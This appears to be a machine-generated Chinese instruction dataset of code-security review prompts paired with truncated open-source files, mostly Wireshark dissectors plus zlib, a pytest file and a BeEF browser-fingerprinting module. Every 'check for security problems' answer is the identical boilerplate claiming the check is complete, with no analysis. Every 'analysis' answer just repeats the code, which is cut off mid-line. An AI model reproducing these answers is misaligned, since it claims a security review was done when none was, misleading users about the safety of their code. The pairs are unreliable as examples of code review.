 * Copyright (C) 2005 - 2006 Anders Broman [AT] ericsson.com
 *
 * See RFC 3414 for User-based Security Model for SNMPv3
 * See RFC 3826 for  (AES) Cipher Algorithm in the SNMP USM
 * See RFC 2578 for Structure of Management Information Version 2 (SMIv2)
 * Copyright (C) 2007 Luis E. Garcia Ontanon <luis@ontanon.org>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * Some stuff from:
 *
 * GXSNMP -- An snmp mangament application
 * Copyright (C) 1998 Gregory McLean & Jochen Friedrich
 * Beholder RMON ethernet network monitor,Copyright (C) 1993 DNPAP group
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#if 0
#include <stdio.h>
#define D(args) do {printf args; fflush(stdout); } while(0)
#endif

#include "config.h"

#include <epan/packet.h>
#include <epan/strutil.h>
#include <epan/conversation.h>
#include <epan/etypes.h>
#include <epan/prefs.h>
#include <epan/addr_resolv.h>
#include <epan/next_tvb.h>
#include <epan/uat.h>
#include <epan/asn1.h>
#include <epan/expert.h>
#include <epan/oids.h>
#include <epan/srt_table.h>
#include <epan/tap.h>
#include "packet-ipx.h"
#include "packet-hpext.h"
#include "packet-ber.h"
#include "packet-snmp.h"
#include <wsutil/wsgcrypt.h>

#define PNAME  "Simple Network Management Protocol"
#define PSNAME "SNMP"
#define PFNAME "snmp"

#define UDP_PORT_SNMP		161
#define UDP_PORT_SNMP_TRAP	162
#define TCP_PORT_SNMP		161
#define TCP_PORT_SNMP_TRAP	162
#define TCP_PORT_SMUX		199
#define UDP_PORT_SNMP_PATROL 8161
#define SNMP_NUM_PROCEDURES 8

/* Initialize the protocol and registered fields */
static int snmp_tap = -1;
stat...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-snmp.c
 * Routines for SNMP (simple network management protocol)
 * Copyright (C) 1998 Didier Jorand
 *
 * See RFC 1157 for SNMPv1.
 *
 * See RFCs 1901, 1905, and 1906 for SNMPv2c.
 *
 * See RFCs 1905, 1906, 1909, and 1910 for SNMPv2u [historic].
 *
 * See RFCs 2570-2576 for SNMPv3
 * Updated to use the asn2wrs compiler made by Tomas Kukosa
 * Copyright (C) 2005 - 2006 Anders Broman [AT] ericsson.com
 *
 * See RFC 3414 for User-based Security Model for SNMPv3
 * See RFC 3826 for  (AES) Cipher Algorithm in the SNMP USM
 * See RFC 2578 for Structure of Management Information Version 2 (SMIv2)
 * Copyright (C) 2007 Luis E. Garcia Ontanon <luis@ontanon.org>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * Some stuff from:
 *
 * GXSNMP -- An snmp mangament application
 * Copyright (C) 1998 Gregory McLean & Jochen Friedrich
 * Beholder RMON ethernet network monitor,Copyright (C) 1993 DNPAP group
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#if 0
#include <stdio.h>
#define D(args) do {printf args; fflush(stdout); } while(0)
#endif

#include "config.h"

#include <epan/packet.h>
#include <epan/strutil.h>
#include <epan/conversation.h>
#include <epan/etypes.h>
#include <epan/prefs.h>
#include <epan/addr_resolv.h>
#include <epan/next_tvb.h>
#include <epan/uat.h>
#include <epan/asn1.h>
#include <epan/expert.h>
#include <epan/oids.h>
#include <epan/srt_table.h>
#include <epan/tap.h>
#include "packet-ipx.h"
#include "packet-hpext.h"
#include "packet-ber.h"
#include "packet-snmp.h"
#include <wsutil/wsgcrypt.h>

#define PNAME  "Simple Network Management Protocol"
#define PSNAME "SNMP"
#define PFNAME "snmp"

#define UDP_PORT_SNMP		161
#define UDP_PORT_SNMP_TRAP	162
#define TCP_PORT_SNMP		161
#define TCP_PORT_SNMP_TRAP	162
#define TCP_PORT_SMUX		199
#define UDP_PORT_SNMP_PATROL 8161
#define SNMP_NUM_PROCEDURES 8

/* Initialize the protocol and registered fields */
static int snmp_tap = -1;
stat...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

---
name: Npcap bug report
about: Report an issue with Npcap
labels: Npcap
assignees: ''
---
**NOTE: Npcap issues have moved to [the Npcap repository](https://github.com/nmap/npcap/issues/)**. Please open your issue there instead.


Instruction: 检查这段代码是否存在安全问题

Input:
---
name: Npcap bug report
about: Report an issue with Npcap
labels: Npcap
assignees: ''
---
**NOTE: Npcap issues have moved to [the Npcap repository](https://github.com/nmap/npcap/issues/)**. Please open your issue there instead.

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-cql.c
 * Routines for Apache Cassandra CQL dissection
 * Copyright 2015, Aaron Ten Clay <aarontc@aarontc.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*
 * CQL V3 reference: https://github.com/apache/cassandra/blob/trunk/doc/native_protocol_v3.spec
 * CQL V4 reference: https://github.com/apache/cassandra/blob/trunk/doc/native_protocol_v4.spec
 */
#include "config.h"
#include <epan/conversation.h>
#include <epan/packet.h>
#include "packet-tcp.h"
#include <epan/wmem_scopes.h>
#include <epan/expert.h>
#include <epan/to_str.h>
#include <epan/addr_resolv.h>
#ifdef HAVE_LZ4
#include <lz4.h>
#endif
#ifdef HAVE_SNAPPY
#include <snappy-c.h>
#endif

#define CQL_DEFAULT_PORT 9042 /* Not IANA registered */

/* the code can reasonably attempt to decompress buffer up to 10MB */
#define MAX_UNCOMPRESSED_SIZE (10 * 1024 * 1024)

void proto_reg_handoff_cql(void);
void proto_register_cql(void);

static int proto_cql = -1;
/* CQL header frame fields */
static int hf_cql_version = -1;
static int hf_cql_protocol_version = -1;
static int hf_cql_direction = -1;
/* CQL header frame fields */
static int hf_cql_flags_bitmap = -1;
static int hf_cql_flag_compression = -1;
static int hf_cql_flag_tracing = -1;
static int hf_cql_flag_reserved3 = -1;
static int hf_cql_flag_custom_payload = -1;
static int hf_cql_flag_warning = -1;
static int hf_cql_flag_reserved4 = -1;
static int hf_cql_stream = -1;
static int hf_cql_opcode = -1;
static int hf_cql_length = -1;
/* CQL data types */
/*
static int hf_cql_int = -1;
static int hf_cql_long = -1;
static int hf_cql_uuid = -1;
static int hf_cql_bytes = -1;
static int hf_cql_inet = -1;
*/
/* Batch flags */

static int hf_cql_batch_flag_serial_consistency = -1;
static int hf_cql_batch_flag_default_timestamp = -1;
static int hf_cql_batch_flag_with_name_for_values = -1;
static int hf_cql_batch_flags_bitmap = -1;
static int e...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-cql.c
 * Routines for Apache Cassandra CQL dissection
 * Copyright 2015, Aaron Ten Clay <aarontc@aarontc.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*
 * CQL V3 reference: https://github.com/apache/cassandra/blob/trunk/doc/native_protocol_v3.spec
 * CQL V4 reference: https://github.com/apache/cassandra/blob/trunk/doc/native_protocol_v4.spec
 */
#include "config.h"
#include <epan/conversation.h>
#include <epan/packet.h>
#include "packet-tcp.h"
#include <epan/wmem_scopes.h>
#include <epan/expert.h>
#include <epan/to_str.h>
#include <epan/addr_resolv.h>
#ifdef HAVE_LZ4
#include <lz4.h>
#endif
#ifdef HAVE_SNAPPY
#include <snappy-c.h>
#endif

#define CQL_DEFAULT_PORT 9042 /* Not IANA registered */

/* the code can reasonably attempt to decompress buffer up to 10MB */
#define MAX_UNCOMPRESSED_SIZE (10 * 1024 * 1024)

void proto_reg_handoff_cql(void);
void proto_register_cql(void);

static int proto_cql = -1;
/* CQL header frame fields */
static int hf_cql_version = -1;
static int hf_cql_protocol_version = -1;
static int hf_cql_direction = -1;
/* CQL header frame fields */
static int hf_cql_flags_bitmap = -1;
static int hf_cql_flag_compression = -1;
static int hf_cql_flag_tracing = -1;
static int hf_cql_flag_reserved3 = -1;
static int hf_cql_flag_custom_payload = -1;
static int hf_cql_flag_warning = -1;
static int hf_cql_flag_reserved4 = -1;
static int hf_cql_stream = -1;
static int hf_cql_opcode = -1;
static int hf_cql_length = -1;
/* CQL data types */
/*
static int hf_cql_int = -1;
static int hf_cql_long = -1;
static int hf_cql_uuid = -1;
static int hf_cql_bytes = -1;
static int hf_cql_inet = -1;
*/
/* Batch flags */

static int hf_cql_batch_flag_serial_consistency = -1;
static int hf_cql_batch_flag_default_timestamp = -1;
static int hf_cql_batch_flag_with_name_for_values = -1;
static int hf_cql_batch_flags_bitmap = -1;
static int e...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-oer.c
 * Routines for ASN1 Octet Encoding Rules
 *
 * Copyright 2018, Anders Broman <anders.broman@ericsson.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 * Ref: ITU-T X.696 (08/2015) https://www.itu.int/itu-t/recommendations/rec.aspx?rec=12487
 * Based on the BER and PER dissectors by Ronnie Sahlberg.
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/oids.h>
#include <epan/asn1.h>
#include <epan/expert.h>
#include <epan/exceptions.h>

#include "packet-oer.h"

#define PNAME  "Octet Encoding Rules (ASN.1)"
#define PSNAME "OER"
#define PFNAME "oer"

void proto_register_oer(void);
void proto_reg_handoff_oer(void);

/* Initialize the protocol and registered fields */
static int proto_oer = -1;

static int hf_oer_optional_field_bit = -1;
static int hf_oer_class = -1;
static int hf_oer_tag = -1;
static int hf_oer_length_determinant = -1;
static int hf_oer_extension_present_bit = -1;

/* Initialize the subtree pointers */
static int ett_oer = -1;
static int ett_oer_sequence_of_item = -1;

static expert_field ei_oer_not_decoded_yet = EI_INIT;
static expert_field ei_oer_undecoded = EI_INIT;

/* whether the OER helpers should put the internal OER fields into the tree or not. */
static gboolean display_internal_oer_fields = FALSE;

/*
#define DEBUG_ENTRY(x) \
printf("#%u  %s   tvb:0x%08x\n",actx->pinfo->num,x,(int)tvb);
*/
#define DEBUG_ENTRY(x) \
	;

#define SEQ_MAX_COMPONENTS 128

/*
* XXX - if the specified length is less than the remaining length
* of data in the tvbuff, either 1) the specified length is bad and
* we should report that with an expert info or 2) the tvbuff is
* unreassembled and we should make the new tvbuff also be an
* unreassembled tvbuff.
*/
static tvbuff_t *
oer_tvb_new_subset_length(tvbuff_t *tvb, const gint backing_offset, const gint backing_length)
{
    gint length_remaining;

    length_remaining = t...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-oer.c
 * Routines for ASN1 Octet Encoding Rules
 *
 * Copyright 2018, Anders Broman <anders.broman@ericsson.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 * Ref: ITU-T X.696 (08/2015) https://www.itu.int/itu-t/recommendations/rec.aspx?rec=12487
 * Based on the BER and PER dissectors by Ronnie Sahlberg.
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/oids.h>
#include <epan/asn1.h>
#include <epan/expert.h>
#include <epan/exceptions.h>

#include "packet-oer.h"

#define PNAME  "Octet Encoding Rules (ASN.1)"
#define PSNAME "OER"
#define PFNAME "oer"

void proto_register_oer(void);
void proto_reg_handoff_oer(void);

/* Initialize the protocol and registered fields */
static int proto_oer = -1;

static int hf_oer_optional_field_bit = -1;
static int hf_oer_class = -1;
static int hf_oer_tag = -1;
static int hf_oer_length_determinant = -1;
static int hf_oer_extension_present_bit = -1;

/* Initialize the subtree pointers */
static int ett_oer = -1;
static int ett_oer_sequence_of_item = -1;

static expert_field ei_oer_not_decoded_yet = EI_INIT;
static expert_field ei_oer_undecoded = EI_INIT;

/* whether the OER helpers should put the internal OER fields into the tree or not. */
static gboolean display_internal_oer_fields = FALSE;

/*
#define DEBUG_ENTRY(x) \
printf("#%u  %s   tvb:0x%08x\n",actx->pinfo->num,x,(int)tvb);
*/
#define DEBUG_ENTRY(x) \
	;

#define SEQ_MAX_COMPONENTS 128

/*
* XXX - if the specified length is less than the remaining length
* of data in the tvbuff, either 1) the specified length is bad and
* we should report that with an expert info or 2) the tvbuff is
* unreassembled and we should make the new tvbuff also be an
* unreassembled tvbuff.
*/
static tvbuff_t *
oer_tvb_new_subset_length(tvbuff_t *tvb, const gint backing_offset, const gint backing_length)
{
    gint length_remaining;

    length_remaining = t...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Detect_office < BeEF::Core::Command
  def post_execute
    content = {}
    content['office'] = @datastore['office']
    save content
    BeEF::Core::Models::BrowserDetails.set(@datastore['beefhook'], 'HasOffice', Regexp.last_match(1)) if @datastore['results'] =~ /^office=Office (\d+|Xp)/
  end
end


Instruction: 检查这段代码是否存在安全问题

Input:
#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Detect_office < BeEF::Core::Command
  def post_execute
    content = {}
    content['office'] = @datastore['office']
    save content
    BeEF::Core::Models::BrowserDetails.set(@datastore['beefhook'], 'HasOffice', Regexp.last_match(1)) if @datastore['results'] =~ /^office=Office (\d+|Xp)/
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* zutil.c -- target dependent utility functions for the compression library
 * Copyright (C) 1995-2017 Jean-loup Gailly
 * For conditions of distribution and use, see copyright notice in zlib.h
 */

/* @(#) $Id$ */

#include "zutil.h"
#ifndef Z_SOLO
#  include "gzguts.h"
#endif

z_const char * const z_errmsg[10] = {
    (z_const char *)"need dictionary",     /* Z_NEED_DICT       2  */
    (z_const char *)"stream end",          /* Z_STREAM_END      1  */
    (z_const char *)"",                    /* Z_OK              0  */
    (z_const char *)"file error",          /* Z_ERRNO         (-1) */
    (z_const char *)"stream error",        /* Z_STREAM_ERROR  (-2) */
    (z_const char *)"data error",          /* Z_DATA_ERROR    (-3) */
    (z_const char *)"insufficient memory", /* Z_MEM_ERROR     (-4) */
    (z_const char *)"buffer error",        /* Z_BUF_ERROR     (-5) */
    (z_const char *)"incompatible version",/* Z_VERSION_ERROR (-6) */
    (z_const char *)""
};

const char * ZEXPORT zlibVersion()
{
    return ZLIB_VERSION;
}

uLong ZEXPORT zlibCompileFlags()
{
    uLong flags;

    flags = 0;
    switch ((int)(sizeof(uInt))) {
    case 2:     break;
    case 4:     flags += 1;     break;
    case 8:     flags += 2;     break;
    default:    flags += 3;
    }
    switch ((int)(sizeof(uLong))) {
    case 2:     break;
    case 4:     flags += 1 << 2;        break;
    case 8:     flags += 2 << 2;        break;
    default:    flags += 3 << 2;
    }
    switch ((int)(sizeof(voidpf))) {
    case 2:     break;
    case 4:     flags += 1 << 4;        break;
    case 8:     flags += 2 << 4;        break;
    default:    flags += 3 << 4;
    }
    switch ((int)(sizeof(z_off_t))) {
    case 2:     break;
    case 4:     flags += 1 << 6;        break;
    case 8:     flags += 2 << 6;        break;
    default:    flags += 3 << 6;
    }
#ifdef ZLIB_DEBUG
    flags += 1 << 8;
#endif
    /*
#if defined(ASMV) || defined(ASMINF)
    flags += 1 << 9;
#endif
     */
#ifdef ZLIB_WIN...


Instruction: 检查这段代码是否存在安全问题

Input:
/* zutil.c -- target dependent utility functions for the compression library
 * Copyright (C) 1995-2017 Jean-loup Gailly
 * For conditions of distribution and use, see copyright notice in zlib.h
 */

/* @(#) $Id$ */

#include "zutil.h"
#ifndef Z_SOLO
#  include "gzguts.h"
#endif

z_const char * const z_errmsg[10] = {
    (z_const char *)"need dictionary",     /* Z_NEED_DICT       2  */
    (z_const char *)"stream end",          /* Z_STREAM_END      1  */
    (z_const char *)"",                    /* Z_OK              0  */
    (z_const char *)"file error",          /* Z_ERRNO         (-1) */
    (z_const char *)"stream error",        /* Z_STREAM_ERROR  (-2) */
    (z_const char *)"data error",          /* Z_DATA_ERROR    (-3) */
    (z_const char *)"insufficient memory", /* Z_MEM_ERROR     (-4) */
    (z_const char *)"buffer error",        /* Z_BUF_ERROR     (-5) */
    (z_const char *)"incompatible version",/* Z_VERSION_ERROR (-6) */
    (z_const char *)""
};

const char * ZEXPORT zlibVersion()
{
    return ZLIB_VERSION;
}

uLong ZEXPORT zlibCompileFlags()
{
    uLong flags;

    flags = 0;
    switch ((int)(sizeof(uInt))) {
    case 2:     break;
    case 4:     flags += 1;     break;
    case 8:     flags += 2;     break;
    default:    flags += 3;
    }
    switch ((int)(sizeof(uLong))) {
    case 2:     break;
    case 4:     flags += 1 << 2;        break;
    case 8:     flags += 2 << 2;        break;
    default:    flags += 3 << 2;
    }
    switch ((int)(sizeof(voidpf))) {
    case 2:     break;
    case 4:     flags += 1 << 4;        break;
    case 8:     flags += 2 << 4;        break;
    default:    flags += 3 << 4;
    }
    switch ((int)(sizeof(z_off_t))) {
    case 2:     break;
    case 4:     flags += 1 << 6;        break;
    case 8:     flags += 2 << 6;        break;
    default:    flags += 3 << 6;
    }
#ifdef ZLIB_DEBUG
    flags += 1 << 8;
#endif
    /*
#if defined(ASMV) || defined(ASMINF)
    flags += 1 << 9;
#endif
     */
#ifdef ZLIB_WIN...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* find_line_edit.cpp
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include <ui/qt/widgets/find_line_edit.h>
#include <ui/qt/utils/color_utils.h>
#include "epan/prefs.h"

#include <QAction>
#include <QKeyEvent>
#include <QMenu>
#include <QRegularExpression>

void FindLineEdit::contextMenuEvent(QContextMenuEvent *event)
{
    QMenu *menu = createStandardContextMenu();
    QAction *action;

    menu->setAttribute(Qt::WA_DeleteOnClose);
    menu->addSeparator();

    action = menu->addAction(tr("Textual Find"));
    action->setCheckable(true);
    action->setChecked(!use_regex_);
    connect(action, &QAction::triggered, this, &FindLineEdit::setUseTextual);

    action = menu->addAction(tr("Regular Expression Find"));
    action->setCheckable(true);
    action->setChecked(use_regex_);
    connect(action, &QAction::triggered, this, &FindLineEdit::setUseRegex);

    menu->popup(event->globalPos());
}

void FindLineEdit::keyPressEvent(QKeyEvent *event)
{
    QLineEdit::keyPressEvent(event);

    if (use_regex_) {
        validateText();
    }
}

void FindLineEdit::validateText()
{
    QString style("QLineEdit { background-color: %1; }");

    if (!use_regex_ || text().isEmpty()) {
        setStyleSheet(style.arg(QString("")));
    } else {
        QRegularExpression regexp(text(), QRegularExpression::UseUnicodePropertiesOption);
        if (regexp.isValid()) {
            setStyleSheet(style.arg(ColorUtils::fromColorT(prefs.gui_text_valid).name()));
        } else {
            setStyleSheet(style.arg(ColorUtils::fromColorT(prefs.gui_text_invalid).name()));
        }
    }
}

void FindLineEdit::setUseTextual()
{
    use_regex_ = false;
    validateText();
    emit useRegexFind(use_regex_);
}

void FindLineEdit::setUseRegex()
{
    use_regex_ = true;
    validateText();
    emit useRegexFind(use_regex_);
}


Instruction: 检查这段代码是否存在安全问题

Input:
/* find_line_edit.cpp
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include <ui/qt/widgets/find_line_edit.h>
#include <ui/qt/utils/color_utils.h>
#include "epan/prefs.h"

#include <QAction>
#include <QKeyEvent>
#include <QMenu>
#include <QRegularExpression>

void FindLineEdit::contextMenuEvent(QContextMenuEvent *event)
{
    QMenu *menu = createStandardContextMenu();
    QAction *action;

    menu->setAttribute(Qt::WA_DeleteOnClose);
    menu->addSeparator();

    action = menu->addAction(tr("Textual Find"));
    action->setCheckable(true);
    action->setChecked(!use_regex_);
    connect(action, &QAction::triggered, this, &FindLineEdit::setUseTextual);

    action = menu->addAction(tr("Regular Expression Find"));
    action->setCheckable(true);
    action->setChecked(use_regex_);
    connect(action, &QAction::triggered, this, &FindLineEdit::setUseRegex);

    menu->popup(event->globalPos());
}

void FindLineEdit::keyPressEvent(QKeyEvent *event)
{
    QLineEdit::keyPressEvent(event);

    if (use_regex_) {
        validateText();
    }
}

void FindLineEdit::validateText()
{
    QString style("QLineEdit { background-color: %1; }");

    if (!use_regex_ || text().isEmpty()) {
        setStyleSheet(style.arg(QString("")));
    } else {
        QRegularExpression regexp(text(), QRegularExpression::UseUnicodePropertiesOption);
        if (regexp.isValid()) {
            setStyleSheet(style.arg(ColorUtils::fromColorT(prefs.gui_text_valid).name()));
        } else {
            setStyleSheet(style.arg(ColorUtils::fromColorT(prefs.gui_text_invalid).name()));
        }
    }
}

void FindLineEdit::setUseTextual()
{
    use_regex_ = false;
    validateText();
    emit useRegexFind(use_regex_);
}

void FindLineEdit::setUseRegex()
{
    use_regex_ = true;
    validateText();
    emit useRegexFind(use_regex_);
}

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#
# Wireshark tests
# By Gerald Combs <gerald@wireshark.org>
#
# Ported from a set of Bash scripts which were copyright 2005 Ulf Lamping
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
'''Text2pcap tests'''

import re
import subprocess
from subprocesstest import get_capture_info, grep_output
import json
import pytest

testin_txt = 'testin.txt'
testout_pcap = 'testout.pcap'
testout_pcapng = 'testout.pcapng'

file_type_to_descr = {
    'pcap': 'Wireshark/tcpdump/... - pcap',
    'pcapng': 'Wireshark/... - pcapng',
}

file_type_to_testout = {
    'pcap': testout_pcap,
    'pcapng': testout_pcapng,
}

encap_to_link_type_long = {
    'Ethernet': 1,
    'Raw IP': 14,
    'Linux cooked-mode capture v1': 113,
    'IEEE 802.11 plus radiotap radio header': 127,
    'DVB-CI (Common Interface)': 235,
}

encap_to_link_type = {
    'ether': 1,
    'rawip': 14,
    'linux-sll': 113,
    'ieee-802-11-radiotap': 127,
    'dvbci': 235,
}

def check_capinfos_info(cmd_capinfos, cap_file):
    cap_info = {
        'filetype': None,
        'encapsulation': None,
        'packets': None,
        'datasize': None,
        'timeend': None,
    }
    str_pats = {
        'filetype': 'File type',
        'encapsulation': 'File encapsulation',
        'timeend': 'Last packet time',
    }
    int_pats = {
        'packets': 'Number of packets',
        'datasize': 'Data size',
    }
    capinfos_out = get_capture_info(cmd_capinfos, ('-tEcdMe',), cap_file)

    for ci_line in capinfos_out.splitlines():
        for sp_key in str_pats:
            str_pat = r'{}:\s+([\S ]+)'.format(str_pats[sp_key])
            str_res = re.search(str_pat, ci_line)
            if str_res is not None:
                cap_info[sp_key] = str_res.group(1)

        for ip_key in int_pats:
            int_pat = r'{}:\s+(\d+)'.format(int_pats[ip_key])
            int_res = re.search(int_pat, ci_line)
            if int_res is not None:
                cap_info[ip_key] = int(int_res.group(1))

    return cap_info

def ge...


Instruction: 检查这段代码是否存在安全问题

Input:
#
# Wireshark tests
# By Gerald Combs <gerald@wireshark.org>
#
# Ported from a set of Bash scripts which were copyright 2005 Ulf Lamping
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
'''Text2pcap tests'''

import re
import subprocess
from subprocesstest import get_capture_info, grep_output
import json
import pytest

testin_txt = 'testin.txt'
testout_pcap = 'testout.pcap'
testout_pcapng = 'testout.pcapng'

file_type_to_descr = {
    'pcap': 'Wireshark/tcpdump/... - pcap',
    'pcapng': 'Wireshark/... - pcapng',
}

file_type_to_testout = {
    'pcap': testout_pcap,
    'pcapng': testout_pcapng,
}

encap_to_link_type_long = {
    'Ethernet': 1,
    'Raw IP': 14,
    'Linux cooked-mode capture v1': 113,
    'IEEE 802.11 plus radiotap radio header': 127,
    'DVB-CI (Common Interface)': 235,
}

encap_to_link_type = {
    'ether': 1,
    'rawip': 14,
    'linux-sll': 113,
    'ieee-802-11-radiotap': 127,
    'dvbci': 235,
}

def check_capinfos_info(cmd_capinfos, cap_file):
    cap_info = {
        'filetype': None,
        'encapsulation': None,
        'packets': None,
        'datasize': None,
        'timeend': None,
    }
    str_pats = {
        'filetype': 'File type',
        'encapsulation': 'File encapsulation',
        'timeend': 'Last packet time',
    }
    int_pats = {
        'packets': 'Number of packets',
        'datasize': 'Data size',
    }
    capinfos_out = get_capture_info(cmd_capinfos, ('-tEcdMe',), cap_file)

    for ci_line in capinfos_out.splitlines():
        for sp_key in str_pats:
            str_pat = r'{}:\s+([\S ]+)'.format(str_pats[sp_key])
            str_res = re.search(str_pat, ci_line)
            if str_res is not None:
                cap_info[sp_key] = str_res.group(1)

        for ip_key in int_pats:
            int_pat = r'{}:\s+(\d+)'.format(int_pats[ip_key])
            int_res = re.search(int_pat, ci_line)
            if int_res is not None:
                cap_info[ip_key] = int(int_res.group(1))

    return cap_info

def ge...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

# Version 0.2.1 beta 2020-07-22
* Changed `apply_filter` for `do_shortcode` to avoid iframes

# Version 0.2.0 beta 2020-07-18
* The plugin has been completely rewritten and now it uses the Flarum API instead of making changes directly in the database

# Version 0.1.0 beta 2018-10-15

## Initial version
* Initial version of `post-to-flarum` plugin submitted


Instruction: 检查这段代码是否存在安全问题

Input:
# Version 0.2.1 beta 2020-07-22
* Changed `apply_filter` for `do_shortcode` to avoid iframes

# Version 0.2.0 beta 2020-07-18
* The plugin has been completely rewritten and now it uses the Flarum API instead of making changes directly in the database

# Version 0.1.0 beta 2018-10-15

## Initial version
* Initial version of `post-to-flarum` plugin submitted

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* DO NOT EDIT
	This file was automatically generated by Pidl
	from svcctl.idl and svcctl.cnf.

	Pidl is a perl based IDL compiler for DCE/RPC idl files.
	It is maintained by the Samba team, not the Wireshark team.
	Instructions on how to download and install Pidl can be
	found at https://gitlab.com/wireshark/wireshark/-/wikis/Pidl
*/

#include "config.h"
#include <glib.h>
#include <string.h>
#include <epan/packet.h>

#include "packet-dcerpc.h"
#include "packet-dcerpc-nt.h"
#include "packet-windows-common.h"
#include "packet-dcerpc-svcctl.h"
void proto_register_dcerpc_svcctl(void);
void proto_reg_handoff_dcerpc_svcctl(void);

/* Ett declarations */
static gint ett_svcctl_service = -1;
static gint ett_svcctl_service_name = -1;
static gint ett_svcctl_display_name = -1;
static gint ett_dcerpc_svcctl = -1;
static gint ett_svcctl_security_secinfo = -1;
static gint ett_svcctl_SERVICE_LOCK_STATUS = -1;
static gint ett_svcctl_svcctl_ControlsAccepted = -1;
static gint ett_svcctl_SERVICE_STATUS = -1;
static gint ett_svcctl_SERVICE_STATUS_PROCESS = -1;
static gint ett_svcctl_ENUM_SERVICE_STATUSW = -1;
static gint ett_svcctl_ENUM_SERVICE_STATUSA = -1;
static gint ett_svcctl_svcctl_MgrAccessMask = -1;
static gint ett_svcctl_svcctl_ServiceAccessMask = -1;
static gint ett_svcctl_QUERY_SERVICE_CONFIG = -1;
static gint ett_svcctl_svcctl_ArgumentString = -1;
static gint ett_svcctl_svcctl_ArgumentStringA = -1;

/* Header field declarations */
static gint hf_svcctl_ENUM_SERVICE_STATUSA_display_name = -1;
static gint hf_svcctl_ENUM_SERVICE_STATUSA_service_name = -1;
static gint hf_svcctl_ENUM_SERVICE_STATUSA_status = -1;
static gint hf_svcctl_ENUM_SERVICE_STATUSW_display_name = -1;
static gint hf_svcctl_ENUM_SERVICE_STATUSW_service_name = -1;
static gint hf_svcctl_ENUM_SERVICE_STATUSW_status = -1;
static gint hf_svcctl_EnumServicesStatusExA_group_name = -1;
static gint hf_svcctl_EnumServicesStatusExA_info_level = -1;
static gint hf_svcctl_EnumServicesStatusExA_needed = -1;
static gint...


Instruction: 检查这段代码是否存在安全问题

Input:
/* DO NOT EDIT
	This file was automatically generated by Pidl
	from svcctl.idl and svcctl.cnf.

	Pidl is a perl based IDL compiler for DCE/RPC idl files.
	It is maintained by the Samba team, not the Wireshark team.
	Instructions on how to download and install Pidl can be
	found at https://gitlab.com/wireshark/wireshark/-/wikis/Pidl
*/

#include "config.h"
#include <glib.h>
#include <string.h>
#include <epan/packet.h>

#include "packet-dcerpc.h"
#include "packet-dcerpc-nt.h"
#include "packet-windows-common.h"
#include "packet-dcerpc-svcctl.h"
void proto_register_dcerpc_svcctl(void);
void proto_reg_handoff_dcerpc_svcctl(void);

/* Ett declarations */
static gint ett_svcctl_service = -1;
static gint ett_svcctl_service_name = -1;
static gint ett_svcctl_display_name = -1;
static gint ett_dcerpc_svcctl = -1;
static gint ett_svcctl_security_secinfo = -1;
static gint ett_svcctl_SERVICE_LOCK_STATUS = -1;
static gint ett_svcctl_svcctl_ControlsAccepted = -1;
static gint ett_svcctl_SERVICE_STATUS = -1;
static gint ett_svcctl_SERVICE_STATUS_PROCESS = -1;
static gint ett_svcctl_ENUM_SERVICE_STATUSW = -1;
static gint ett_svcctl_ENUM_SERVICE_STATUSA = -1;
static gint ett_svcctl_svcctl_MgrAccessMask = -1;
static gint ett_svcctl_svcctl_ServiceAccessMask = -1;
static gint ett_svcctl_QUERY_SERVICE_CONFIG = -1;
static gint ett_svcctl_svcctl_ArgumentString = -1;
